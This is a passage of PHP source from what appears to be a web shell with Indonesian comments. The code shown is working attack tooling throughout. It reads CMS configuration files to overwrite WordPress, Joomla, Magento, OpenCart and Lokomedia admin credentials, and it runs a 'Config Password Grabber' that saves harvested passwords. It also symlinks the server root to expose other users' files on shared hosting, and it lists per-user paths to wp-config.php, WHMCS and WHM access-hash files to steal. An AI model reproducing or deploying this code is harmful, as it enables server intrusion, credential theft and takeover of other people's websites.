  1251. echo "<tr><td>Joomla</td>";
  1252. //echo "[ ".$file_conf." ]<br>";
  1253. //echo "CMS => Joomla<br>";
  1254. if ($site == '') {
  1255. $url_target = "<font color=red>ERROR</font><br>";
  1256. } else {
  1257. $url_target = $site;
  1258. }
  1259. if (!$update) {
  1260. echo "<td><font color=red>" . mysql_error() . "</font></td><td>Update Error</td><td>!</td><td>" . $file_conf . "</td>";
  1261. } elseif (!$conn) {
  1262. echo "<td><font color=red>" . mysql_error() . "</font></td><td>Connection Error</td><td>!</td><td>" . $file_conf . "</td>";
  1263. } elseif (!$db) {
  1264. echo "<td><font color=red>" . mysql_error() . "</font></td><td>DB Error</td><td>!</td><td>" . $file_conf . "</td>";
  1265. } else {
  1266. echo "<td><font color=lime>$user</font></td>";
  1267. echo "<td><font color=lime>$pass</font></td>";
  1268. echo "<td><a href=\"https://www.google.com/search?source=hp&q='$url_target'\" target=\"_BLANK\">$url_target</a></td>";
  1269. echo "<td>" . $file_conf . "</td>";
  1270. }
  1271. echo "</tr>";
  1272. mysql_close($conn);
  1273. } elseif (preg_match("/WordPress/", $config)) {
  1274. $dbhost = ambilkata($config, "DB_HOST', '", "'");
  1275. $dbuser = ambilkata($config, "DB_USER', '", "'");
  1276. $dbpass = ambilkata($config, "DB_PASSWORD', '", "'");
  1277. $dbname = ambilkata($config, "DB_NAME', '", "'");
  1278. $dbprefix = ambilkata($config, "table_prefix = '", "'");
  1279. $prefix = $dbprefix . "users";
  1280. $option = $dbprefix . "options";
  1281. $conn = mysql_connect($dbhost, $dbuser, $dbpass);
  1282. $db = mysql_select_db($dbname);
  1283. $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
  1284. $result = mysql_fetch_array($q);
  1285. $id = $result[ID];
  1286. $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
  1287. $result2 = mysql_fetch_array($q2);
  1288. $target = $result2[option_value];
  1289. if ($target == '') {
  1290. $url_target = "<font color=red>DOMAIN ERROR</font>";
  1291. } else {
  1292. $url_target = "<a href='$target/wp-login.php' target='_blank'><u>$target/wp-login.php</u></a>";
  1293. }
  1294. $update = mysql_query("UPDATE $prefix SET user_login='$user',user_pass='$passx' WHERE id='$id'");
  1295. echo "<tr><td>Wordpress</td>";
  1296. //echo "[ ".$file_conf." ]<br>";
  1297. //echo $url_target;
  1298. if (!$update or !$conn or !$db) {
  1299. echo "<td><font color=red>" . mysql_error() . "</font></td><td>!</td><td>!</td><td>" . $file_conf . "</td>";
  1300. } else {
  1301. echo "<td><font color=lime>$user</font></td>";
  1302. echo "<td><font color=lime>$pass</font></td>";
  1303. echo "<td>$url_target</td>";
  1304. echo "<td>" . $file_conf . "</td>";
  1305. }
  1306. echo "</tr>";
  1307. mysql_close($conn);
  1308. } elseif (preg_match("/Magento|Mage_Core/", $config)) {
  1309. $dbhost = ambilkata($config, "<host><![CDATA[", "]]></host>");
  1310. $dbuser = ambilkata($config, "<username><![CDATA[", "]]></username>");
  1311. $dbpass = ambilkata($config, "<password><![CDATA[", "]]></password>");
  1312. $dbname = ambilkata($config, "<dbname><![CDATA[", "]]></dbname>");
  1313. $dbprefix = ambilkata($config, "<table_prefix><![CDATA[", "]]></table_prefix>");
  1314. $prefix = $dbprefix . "admin_user";
  1315. $option = $dbprefix . "core_config_data";
  1316. $conn = mysql_connect($dbhost, $dbuser, $dbpass);
  1317. $db = mysql_select_db($dbname);
  1318. $q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC");
  1319. $result = mysql_fetch_array($q);
  1320. $id = $result[user_id];
  1321. $q2 = mysql_query("SELECT * FROM $option WHERE path='web/secure/base_url'");
  1322. $result2 = mysql_fetch_array($q2);
  1323. $target = $result2[value];
  1324. if ($target == '') {
  1325. $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
  1326. } else {
  1327. $url_target = "Login => <a href='$target/admin/' target='_blank'><u>$target/admin/</u></a><br>";
  1328. }
  1329. $update = mysql_query("UPDATE $prefix SET username='$user',password='$passx' WHERE user_id='$id'");
  1330. echo "[ " . $file_conf . " ]<br>";
  1331. echo "CMS => Magento<br>";
  1332. echo $url_target;
  1333. if (!$update or !$conn or !$db) {
  1334. echo "[-] <font color=red>" . mysql_error() . "</font><br><br>";
  1335. } else {
  1336. echo "[+] username: <font color=lime>$user</font><br>";
  1337. echo "[+] password: <font color=lime>$pass</font><br><br>";
  1338. }
  1339. mysql_close($conn);
  1340. } elseif (preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/", $config)) {
  1341. $dbhost = ambilkata($config, "'DB_HOSTNAME', '", "'");
  1342. $dbuser = ambilkata($config, "'DB_USERNAME', '", "'");
  1343. $dbpass = ambilkata($config, "'DB_PASSWORD', '", "'");
  1344. $dbname = ambilkata($config, "'DB_DATABASE', '", "'");
  1345. $dbprefix = ambilkata($config, "'DB_PREFIX', '", "'");
  1346. $prefix = $dbprefix . "user";
  1347. $conn = mysql_connect($dbhost, $dbuser, $dbpass);
  1348. $db = mysql_select_db($dbname);
  1349. $q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC");
  1350. $result = mysql_fetch_array($q);
  1351. $id = $result[user_id];
  1352. $target = ambilkata($config, "HTTP_SERVER', '", "'");
  1353. if ($target == '') {
  1354. $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
  1355. } else {
  1356. $url_target = "Login => <a href='$target' target='_blank'><u>$target</u></a><br>";
  1357. }
  1358. $update = mysql_query("UPDATE $prefix SET username='$user',password='$passx' WHERE user_id='$id'");
  1359. echo "[ " . $file_conf . " ]<br>";
  1360. echo "CMS => OpenCart<br>";
  1361. echo $url_target;
  1362. if (!$update or !$conn or !$db) {
  1363. echo "[-] <font color=red>" . mysql_error() . "</font><br><br>";
  1364. } else {
  1365. echo "[+] username: <font color=lime>$user</font><br>";
  1366. echo "[+] password: <font color=lime>$pass</font><br><br>";
  1367. }
  1368. mysql_close($conn);
  1369. } elseif (preg_match("/panggil fungsi validasi xss dan injection/", $config)) {
  1370. $dbhost = ambilkata($config, 'server = "', '"');
  1371. $dbuser = ambilkata($config, 'username = "', '"');
  1372. $dbpass = ambilkata($config, 'password = "', '"');
  1373. $dbname = ambilkata($config, 'database = "', '"');
  1374. $prefix = "users";
  1375. $option = "identitas";
  1376. $conn = mysql_connect($dbhost, $dbuser, $dbpass);
  1377. $db = mysql_select_db($dbname);
  1378. $q = mysql_query("SELECT * FROM $option ORDER BY id_identitas ASC");
  1379. $result = mysql_fetch_array($q);
  1380. $target = $result[alamat_website];
  1381. if ($target == '') {
  1382. $target2 = $result[url];
  1383. $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
  1384. if ($target2 == '') {
  1385. $url_target2 = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
  1386. } else {
  1387. $cek_login3 = file_get_contents("$target2/adminweb/");
  1388. $cek_login4 = file_get_contents("$target2/lokomedia/adminweb/");
  1389. if (preg_match("/CMS Lokomedia|Administrator/", $cek_login3)) {
  1390. $url_target2 = "Login => <a href='$target2/adminweb' target='_blank'><u>$target2/adminweb</u></a><br>";
  1391. } elseif (preg_match("/CMS Lokomedia|Lokomedia/", $cek_login4)) {
  1392. $url_target2 = "Login => <a href='$target2/lokomedia/adminweb' target='_blank'><u>$target2/lokomedia/adminweb</u></a><br>";
  1393. } else {
  1394. $url_target2 = "Login => <a href='$target2' target='_blank'><u>$target2</u></a> [ <font color=red>gatau admin login nya dimana :p</font> ]<br>";
  1395. }
  1396. }
  1397. } else {
  1398. $cek_login = file_get_contents("$target/adminweb/");
  1399. $cek_login2 = file_get_contents("$target/lokomedia/adminweb/");
  1400. if (preg_match("/CMS Lokomedia|Administrator/", $cek_login)) {
  1401. $url_target = "Login => <a href='$target/adminweb' target='_blank'><u>$target/adminweb</u></a><br>";
  1402. } elseif (preg_match("/CMS Lokomedia|Lokomedia/", $cek_login2)) {
  1403. $url_target = "Login => <a href='$target/lokomedia/adminweb' target='_blank'><u>$target/lokomedia/adminweb</u></a><br>";
  1404. } else {
  1405. $url_target = "Login => <a href='$target' target='_blank'><u>$target</u></a> [ <font color=red>gatau admin login nya dimana :p</font> ]<br>";
  1406. }
  1407. }
  1408. $update = mysql_query("UPDATE $prefix SET username='$user',password='$passx' WHERE level='admin'");
  1409. echo "[ " . $file_conf . " ]<br>";
  1410. echo "CMS => Lokomedia<br>";
  1411. if (preg_match('/error, gabisa ambil nama domain nya/', $url_target)) {
  1412. echo $url_target2;
  1413. } else {
  1414. echo $url_target;
  1415. }
  1416. if (!$update or !$conn or !$db) {
  1417. echo "[-] <font color=red>" . mysql_error() . "</font><br><br>";
  1418. } else {
  1419. echo "[+] username: <font color=lime>$user</font><br>";
  1420. echo "[+] password: <font color=lime>$pass</font><br><br>";
  1421. }
  1422. mysql_close($conn);
  1423. }
  1424. }
  1425. }
  1426. } elseif (isset($_GET['do']) && ($_GET['do'] == 'grabpass')) {
  1427. if ($_POST['gass']) {
  1428. echo "<center><h1>Config Password Grabber</h1>
  1429. <form method='post'>
  1430. Link Config: <br>
  1431. <textarea name='link' style='width: 450px; height:250px;'>";
  1432. UrlLoop($_POST['linkconf'], 'txt');
  1433. echo "</textarea><br>
  1434. <input type='submit' style='width: 450px;' name='grabpass' value='Hajar!!'>
  1435. </form></center>";
  1436. } else {
  1437. echo "<center><h1>Config Password Grabber</h1>
  1438. <form method='post'>
  1439. Link Config: <br>
  1440. <input type='text' name='linkconf' height='10' size='50' placeholder='http://link.com/0xsym/'><br>
  1441. <input type='submit' style='width: 450px;' name='gass' value='Hajar!!'>
  1442. </form></center>";
  1443. }
  1444. if ($_POST['grabpass']) {
  1445.  
  1446. $link = explode("\r\n", $_POST['link']);
  1447. echo '<textarea>';
  1448. foreach ($link as $dir_config) {
  1449. $ambilpass = ambil_password($dir_config);
  1450. $hh = @file_get_contents("password.txt");
  1451. @file_put_contents("password.txt", $hh . $ambilpass);
  1452.  
  1453. echo $ambilpass;
  1454.  
  1455. }
  1456. echo '</textarea>';
  1457. }
  1458. } elseif (isset($_GET['do']) && ($_GET['do'] == 'symlink')) {
  1459. $full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
  1460. $d0mains = @file("/etc/named.conf");
  1461. if ($d0mains) {
  1462. @mkdir("0xsymlink", 0777);
  1463. @chdir("0xsymlink");
  1464. @exe("ln -s / root");
  1465. $file3 = 'Options Indexes FollowSymLinks
  1466. DirectoryIndex jancox.htm
  1467. AddType text/plain .php
  1468. AddHandler text/plain .php
  1469. Satisfy Any';
  1470. $fp3 = fopen('.htaccess', 'w');
  1471. $fw3 = fwrite($fp3, $file3);
  1472. @fclose($fp3);
  1473. echo "
  1474. <table align=center border=1 style='width:60%;border-color:#333333;'>
  1475. <tr>
  1476. <td align=center><font size=2>S. No.</font></td>
  1477. <td align=center><font size=2>Domains</font></td>
  1478. <td align=center><font size=2>Users</font></td>
  1479. <td align=center><font size=2>Symlink</font></td>
  1480. </tr>";
  1481. $dcount = 1;
  1482. foreach ($d0mains as $d0main) {
  1483. if (eregi("zone", $d0main)) {
  1484. preg_match_all('#zone "(.*)"#', $d0main, $domains);
  1485. flush();
  1486. if (strlen(trim($domains[1][0])) > 2) {
  1487. $user = posix_getpwuid(@fileowner("/etc/valiases/" . $domains[1][0]));
  1488. echo "<tr align=center><td><font size=2>" . $dcount . "</font></td>
  1489. <td align=left><a href=http://www." . $domains[1][0] . "/><font class=txt>" . $domains[1][0] . "</font></a></td>
  1490. <td>" . $user['name'] . "</td>
  1491. <td><a href='$full/0xsymlink/root/home/" . $user['name'] . "/public_html' target='_blank'><font class=txt>Symlink</font></a></td></tr>";
  1492. flush();
  1493. $dcount++;}}}
  1494. echo "</table>";
  1495. } else {
  1496. $TEST = $etcpasswd;
  1497. if ($TEST) {
  1498. @mkdir("0xsymlink", 0777);
  1499. @chdir("0xsymlink");
  1500. exe("ln -s / root");
  1501. $file3 = 'Options Indexes FollowSymLinks
  1502. DirectoryIndex jancox.htm
  1503. AddType text/plain .php
  1504. AddHandler text/plain .php
  1505. Satisfy Any';
  1506. $fp3 = fopen('.htaccess', 'w');
  1507. $fw3 = fwrite($fp3, $file3);
  1508. @fclose($fp3);
  1509. echo "
  1510. <table align=center border=1><tr>
  1511. <td align=center>S. No.</td>
  1512. <td align=center>Users</td>
  1513. <td align=center>Symlink</td></tr>";
  1514. $dcount = 1;
  1515. $file = $etcpasswd;
  1516. preg_match_all('/(.*?):x:/', $file, $file);
  1517. foreach ($file[1] as $matches) {
  1518. echo "<tr><td align=center><font size=2>" . $dcount . "</td>
  1519. <td align=center><font class=txt>" . $matches . "</td>";
  1520. echo "<td align=center><font class=txt><a href=$full/0xsymlink/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
  1521. $dcount++;
  1522. }
  1523. echo "</table>";
  1524. } else {
  1525.  
  1526. if ($os != "Windows") {
  1527. @mkdir("0xsymlink", 0777);
  1528. @chdir("0xsymlink");
  1529. @exe("ln -s / root");
  1530. $file3 = '
  1531. Options Indexes FollowSymLinks
  1532. DirectoryIndex jancox.htm
  1533. AddType text/plain .php
  1534. AddHandler text/plain .php
  1535. Satisfy Any
  1536. ';
  1537. $fp3 = fopen('.htaccess', 'w');
  1538. $fw3 = fwrite($fp3, $file3);@fclose($fp3);
  1539. echo "
  1540. <div class='mybox'><h2 class='k2ll33d2'>server symlinker</h2>
  1541. <table align=center border=1><tr>
  1542. <td align=center><font size=3>ID</font></td>
  1543. <td align=center><font size=3>Users</font></td>
  1544. <td align=center><font size=3>Symlink</font></td></tr>";
  1545. $temp = "";
  1546. $val1 = 0;
  1547. $val2 = 1000;
  1548. for (; $val1 <= $val2; $val1++) {
  1549. $uid = @posix_getpwuid($val1);
  1550. if ($uid) {
  1551. $temp .= join(':', $uid) . "\n";
  1552. }
  1553. }
  1554. echo '<br/>';
  1555. $temp = trim($temp);
  1556. $file5 =
  1557. fopen("test.txt", "w");
  1558. fputs($file5, $temp);
  1559. fclose($file5);
  1560. $dcount = 1;
  1561. $file =
  1562. fopen("test.txt", "r") or exit("Unable to open file!");
  1563. while (!feof($file)) {
  1564. $s = fgets($file);
  1565. $matches = array();
  1566. $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
  1567. $matches = str_replace("home/", "", $matches[1]);
  1568. if (strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named") {
  1569. continue;
  1570. }
  1571.  
  1572. echo "<tr><td align=center><font size=2>" . $dcount . "</td>
  1573. <td align=center><font class=txt>" . $matches . "</td>";
  1574. echo "<td align=center><font class=txt><a href=$full/0xsymlink/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
  1575. $dcount++;}
  1576. fclose($file);
  1577. echo "</table></div></center>";
  1578. unlink("test.txt");
  1579. } else {
  1580. echo "<center><font size=3>Cannot create Symlink</font></center>";
  1581. }
  1582.  
  1583. }
  1584. }
  1585. } elseif (isset($_GET['do']) && ($_GET['do'] == 'config')) {
  1586. if (strtolower(substr(PHP_OS, 0, 3)) == "win") {
  1587. echo '<script>alert("Tidak bisa di gunakan di server windows")</script>';
  1588. exit;
  1589. }
  1590. if ($_POST) {
  1591. if ($_POST['tipe'] == 'grabsymv') {
  1592. @mkdir("0xsymv", 0777);
  1593. exe("ln -s / 0xsymv/root");
  1594. $htaccess = "Options Indexes FollowSymLinks
  1595. DirectoryIndex jancox.htm
  1596. AddType text/plain .php
  1597. AddHandler text/plain .php
  1598. Satisfy Any";
  1599. @file_put_contents("0xsymv/.htaccess", $htaccess);
  1600. $etc_passwd = $_POST['passwd'];
  1601.  
  1602. $etc_passwd = explode("\n", $etc_passwd);
  1603. foreach ($etc_passwd as $passwd) {
  1604. $pawd = explode(":", $passwd);
  1605. $user = $pawd[5];
  1606. $usera = preg_replace('/\/var\/www\/vhosts\//', '', $user);
  1607. if (preg_match('/vhosts/i', $user)) {
  1608. exe("ln -s " . $user . "/httpdocs/wp-config.php 0xsymv/" . $usera . "-Wordpress.txt");
  1609. exe("ln -s " . $user . "/httpdocs/configuration.php 0xsymv/" . $usera . "-Joomla.txt");
  1610. exe("ln -s " . $user . "/httpdocs/config/koneksi.php 0xsymv/" . $usera . "-Lokomedia.txt");
  1611. exe("ln -s " . $user . "/httpdocs/forum/config.php 0xsymv/" . $usera . "-phpBB.txt");
  1612. exe("ln -s " . $user . "/httpdocs/sites/default/settings.php 0xsymv/" . $usera . "-Drupal.txt");
  1613. exe("ln -s " . $user . "/httpdocs/config/settings.inc.php 0xsymv/" . $usera . "-PrestaShop.txt");
  1614. exe("ln -s " . $user . "/httpdocs/app/etc/local.xml 0xsymv/" . $usera . "-Magento.txt");
  1615. exe("ln -s " . $user . "/httpdocs/admin/config.php 0xsymv/" . $usera . "-OpenCart.txt");
  1616. exe("ln -s " . $user . "/httpdocs/application/config/database.php 0xsymv/" . $usera . "-Ellislab.txt");
  1617. }}}
  1618. if ($_POST['tipe'] == 'grabsym') {
  1619. @mkdir("0xsym", 0777);
  1620. @symlink("/", "0xsym/root");
  1621. $htaccess = "Options Indexes FollowSymLinks
  1622. DirectoryIndex jancox.htm
  1623. AddType text/plain .php
  1624. AddHandler text/plain .php
  1625. Satisfy Any";
  1626. @file_put_contents("0xsym/.htaccess", $htaccess);}
  1627. if ($_POST['tipe'] == 'grabsym404') {
  1628. @mkdir("0xsym404", 0777);
  1629. @symlink("/", "0xsym404/root");
  1630. $htaccess = "Options Indexes FollowSymLinks
  1631. DirectoryIndex jancox.htm
  1632. AddType text/plain .php
  1633. AddHandler text/plain .php
  1634. Satisfy Any
  1635. IndexOptions +Charset=UTF-8 +FancyIndexing +IgnoreCase +FoldersFirst +XHTML +HTMLTable +SuppressRules +SuppressDescription +NameWidth=*
  1636. AddIcon 'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAFUSURBVDiNpZK9SgNBFIXPvXNndjcRopX4U4kWVr5AChU7H8BSfItAHkB9CXsrW0GwEQtRwVKMRtAU8ZcYWaNmM2OxqyyiYZdcGIaZ4Z77MeeQcw6DFA/UDUAAYHHj8hOATj9oRSe2Z1f2KjP1fgLknMPS5lW0Vi4pZopvHXDW+IhOr99gXTzkr9qvTBMtrNd8AsLVcomZKDP61kELihGIJ9QBgO2jdsIE/Jb5OacGFAwDQEeMEOZnh1EqMChtSB8a64BW2MNh7QVihCGKcNHswmZ0lAkYHxF4QhBPCKIYRU9l605KmGCEIUYztCYMBfkEjGZ4OiHwRQF+vkQG+ptACIFREJVPQAvFf+BrjoyQ+CZfqq118DRFEhjebbbel6dGiyTqf+vSrkaRQ/0utL7mHXl9vq+eP3Unbh/H5gDKiOF67YebY0dSJcRBm0z2rFl2yWp8AVDIW32da7pLAAAAAElFTkSuQmCC' ^^DIRECTORY^^
  1637. DefaultIcon 'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII='
  1638. IndexIgnore *.txt404
  1639. IndexStyleSheet 'https://0x1999.github.io/0xShell/style/melex.css'
  1640. RewriteEngine On
  1641. RewriteCond %{REQUEST_FILENAME} ^.*0xsym404 [NC]
  1642. RewriteRule \.txt$ %{REQUEST_URI}404 [L,R=302.NC]";
  1643. @file_put_contents("0xsym404/.htaccess", $htaccess);
  1644. }
  1645. if ($_POST['tipe'] == 'grab') {
  1646. mkdir("0xgrab", 0777);
  1647. $isi_htc = "Options all\nRequire None\nSatisfy Any";
  1648. $htc = fopen("0xgrab/.htaccess", "w");
  1649. fwrite($htc, $isi_htc);
  1650. }
  1651. $passwd = $_POST['passwd'];
  1652.  
  1653. preg_match_all('/(.*?):x:/', $passwd, $user_config);
  1654. foreach ($user_config[1] as $user_cox) {
  1655. $grab_config = array(
  1656. "/home/$user_cox/.accesshash" => "WHM-accesshash",
  1657. "/home/$user_cox/public_html/config/koneksi.php" => "Lokomedia",
  1658. "/home/$user_cox/public_html/forum/config.php" => "phpBB",
  1659. "/home/$user_cox/public_html/sites/default/settings.php" => "Drupal",
  1660. "/home/$user_cox/public_html/config/settings.inc.php" => "Shop",
  1661. "/home/$user_cox/public_html/app/etc/local.xml" => "Magento",
  1662. "/home/$user_cox/public_html/admin/config.php" => "OpenCart",
  1663. "/home/$user_cox/public_html/application/config/database.php" => "Ellislab",
  1664. "/home/$user_cox/public_html/vb/includes/config.php" => "Vbulletin",
  1665. "/home/$user_cox/public_html/includes/config.php" => "Vbulletin",
  1666. "/home/$user_cox/public_html/forum/includes/config.php" => "Vbulletin",
  1667. "/home/$user_cox/public_html/forums/includes/config.php" => "Vbulletin",
  1668. "/home/$user_cox/public_html/cc/includes/config.php" => "Vbulletin",
  1669. "/home/$user_cox/public_html/inc/config.php" => "MyBB",
  1670. "/home/$user_cox/public_html/includes/configure.php" => "OsCommerce",
  1671. "/home/$user_cox/public_html/shop/includes/configure.php" => "OsCommerce",
  1672. "/home/$user_cox/public_html/os/includes/configure.php" => "OsCommerce",
  1673. "/home/$user_cox/public_html/oscom/includes/configure.php" => "OsCommerce",
  1674. "/home/$user_cox/public_html/products/includes/configure.php" => "OsCommerce",
  1675. "/home/$user_cox/public_html/cart/includes/configure.php" => "OsCommerce",
  1676. "/home/$user_cox/public_html/inc/conf_global.php" => "IPB",
  1677. "/home/$user_cox/public_html/wp-config.php" => "Wordpress",
  1678. "/home/$user_cox/public_html/wp/test/wp-config.php" => "Wordpress",
  1679. "/home/$user_cox/public_html/blog/wp-config.php" => "Wordpress",
  1680. "/home/$user_cox/public_html/beta/wp-config.php" => "Wordpress",
  1681. "/home/$user_cox/public_html/portal/wp-config.php" => "Wordpress",
  1682. "/home/$user_cox/public_html/site/wp-config.php" => "Wordpress",
  1683. "/home/$user_cox/public_html/wp/wp-config.php" => "Wordpress",
  1684. "/home/$user_cox/public_html/WP/wp-config.php" => "Wordpress",
  1685. "/home/$user_cox/public_html/news/wp-config.php" => "Wordpress",
  1686. "/home/$user_cox/public_html/wordpress/wp-config.php" => "Wordpress",
  1687. "/home/$user_cox/public_html/test/wp-config.php" => "Wordpress",
  1688. "/home/$user_cox/public_html/demo/wp-config.php" => "Wordpress",
  1689. "/home/$user_cox/public_html/home/wp-config.php" => "Wordpress",
  1690. "/home/$user_cox/public_html/v1/wp-config.php" => "Wordpress",
  1691. "/home/$user_cox/public_html/v2/wp-config.php" => "Wordpress",
  1692. "/home/$user_cox/public_html/press/wp-config.php" => "Wordpress",
  1693. "/home/$user_cox/public_html/new/wp-config.php" => "Wordpress",
  1694. "/home/$user_cox/public_html/blogs/wp-config.php" => "Wordpress",
  1695. "/home/$user_cox/public_html/configuration.php" => "Joomla",
  1696. "/home/$user_cox/public_html/blog/configuration.php" => "Joomla",
  1697. "/home/$user_cox/public_html/submitticket.php" => "^WHMCS",
  1698. "/home/$user_cox/public_html/cms/configuration.php" => "Joomla",
  1699. "/home/$user_cox/public_html/beta/configuration.php" => "Joomla",
  1700. "/home/$user_cox/public_html/portal/configuration.php" => "Joomla",
  1701. "/home/$user_cox/public_html/site/configuration.php" => "Joomla",
  1702. "/home/$user_cox/public_html/main/configuration.php" => "Joomla",
  1703. "/home/$user_cox/public_html/home/configuration.php" => "Joomla",
  1704. "/home/$user_cox/public_html/demo/configuration.php" => "Joomla",
  1705. "/home/$user_cox/public_html/test/configuration.php" => "Joomla",
  1706. "/home/$user_cox/public_html/v1/configuration.php" => "Joomla",
  1707. "/home/$user_cox/public_html/v2/configuration.php" => "Joomla",
  1708. "/home/$user_cox/public_html/joomla/configuration.php" => "Joomla",
  1709. "/home/$user_cox/public_html/new/configuration.php" => "Joomla",
  1710. "/home/$user_cox/public_html/WHMCS/submitticket.php" => "WHMCS",
  1711. "/home/$user_cox/public_html/whmcs1/submitticket.php" => "WHMCS",
  1712. "/home/$user_cox/public_html/Whmcs/submitticket.php" => "WHMCS",
  1713. "/home/$user_cox/public_html/whmcs/submitticket.php" => "WHMCS",
  1714. "/home/$user_cox/public_html/whmcs/submitticket.php" => "WHMCS",
  1715. "/home/$user_cox/public_html/WHMC/submitticket.php" => "WHMCS",
  1716. "/home/$user_cox/public_html/Whmc/submitticket.php" => "WHMCS",
  1717. "/home/$user_cox/public_html/whmc/submitticket.php" => "WHMCS",
  1718. "/home/$user_cox/public_html/WHM/submitticket.php" => "WHMCS",
  1719. "/home/$user_cox/public_html/Whm/submitticket.php" => "WHMCS",
  1720. "/home/$user_cox/public_html/whm/submitticket.php" => "WHMCS",
  1721. "/home/$user_cox/public_html/HOST/submitticket.php" => "WHMCS",
  1722. "/home/$user_cox/public_html/Host/submitticket.php" => "WHMCS",
  1723. "/home/$user_cox/public_html/host/submitticket.php" => "WHMCS",
  1724. "/home/$user_cox/public_html/SUPPORTES/submitticket.php" => "WHMCS",
  1725. "/home/$user_cox/public_html/Supportes/submitticket.php" => "WHMCS",
  1726. "/home/$user_cox/public_html/supportes/submitticket.php" => "WHMCS",
  1727. "/home/$user_cox/public_html/domains/submitticket.php" => "WHMCS",
  1728. "/home/$user_cox/public_html/domain/submitticket.php" => "WHMCS",
  1729. "/home/$user_cox/public_html/Hosting/submitticket.php" => "WHMCS",
  1730. "/home/$user_cox/public_html/HOSTING/submitticket.php" => "WHMCS",
  1731. "/home/$user_cox/public_html/hosting/submitticket.php" => "WHMCS",
  1732. "/home/$user_cox/public_html/CART/submitticket.php" => "WHMCS",
  1733. "/home/$user_cox/public_html/Cart/submitticket.php" => "WHMCS",
  1734. "/home/$user_cox/public_html/cart/submitticket.php" => "WHMCS",
  1735. "/home/$user_cox/public_html/ORDER/submitticket.php" => "WHMCS",
  1736. "/home/$user_cox/public_html/Order/submitticket.php" => "WHMCS",
  1737. "/home/$user_cox/public_html/order/submitticket.php" => "WHMCS",
  1738. "/home/$user_cox/public_html/CLIENT/submitticket.php" => "WHMCS",
  1739. "/home/$user_cox/public_html/Client/submitticket.php" => "WHMCS",
  1740. "/home/$user_cox/public_html/client/submitticket.php" => "WHMCS",
  1741. "/home/$user_cox/public_html/CLIENTAREA/submitticket.php" => "WHMCS",
  1742. "/home/$user_cox/public_html/Clientarea/submitticket.php" => "WHMCS",
  1743. "/home/$user_cox/public_html/clientarea/submitticket.php" => "WHMCS",
  1744. "/home/$user_cox/public_html/SUPPORT/submitticket.php" => "WHMCS",
  1745. "/home/$user_cox/public_html/Support/submitticket.php" => "WHMCS",
  1746. "/home/$user_cox/public_html/support/submitticket.php" => "WHMCS",
  1747. "/home/$user_cox/public_html/BILLING/submitticket.php" => "WHMCS",
  1748. "/home/$user_cox/public_html/Billing/submitticket.php" => "WHMCS",
  1749. "/home/$user_cox/public_html/billing/submitticket.php" => "WHMCS",
  1750. "/home/$user_cox/public_html/BUY/submitticket.php" => "WHMCS",
  1751. "/home/$user_cox/public_html/Buy/submitticket.php" => "WHMCS",
  1752. "/home/$user_cox/public_html/buy/submitticket.php" => "WHMCS",
  1753. "/home/$user_cox/public_html/MANAGE/submitticket.php" => "WHMCS",
  1754. "/home/$user_cox/public_html/Manage/submitticket.php" => "WHMCS",
  1755. "/home/$user_cox/public_html/manage/submitticket.php" => "WHMCS",
  1756. "/home/$user_cox/public_html/CLIENTSUPPORT/submitticket.php" => "WHMCS",
  1757. "/home/$user_cox/public_html/ClientSupport/submitticket.php" => "WHMCS",
  1758. "/home/$user_cox/public_html/Clientsupport/submitticket.php" => "WHMCS",
  1759. "/home/$user_cox/public_html/clientsupport/submitticket.php" => "WHMCS",
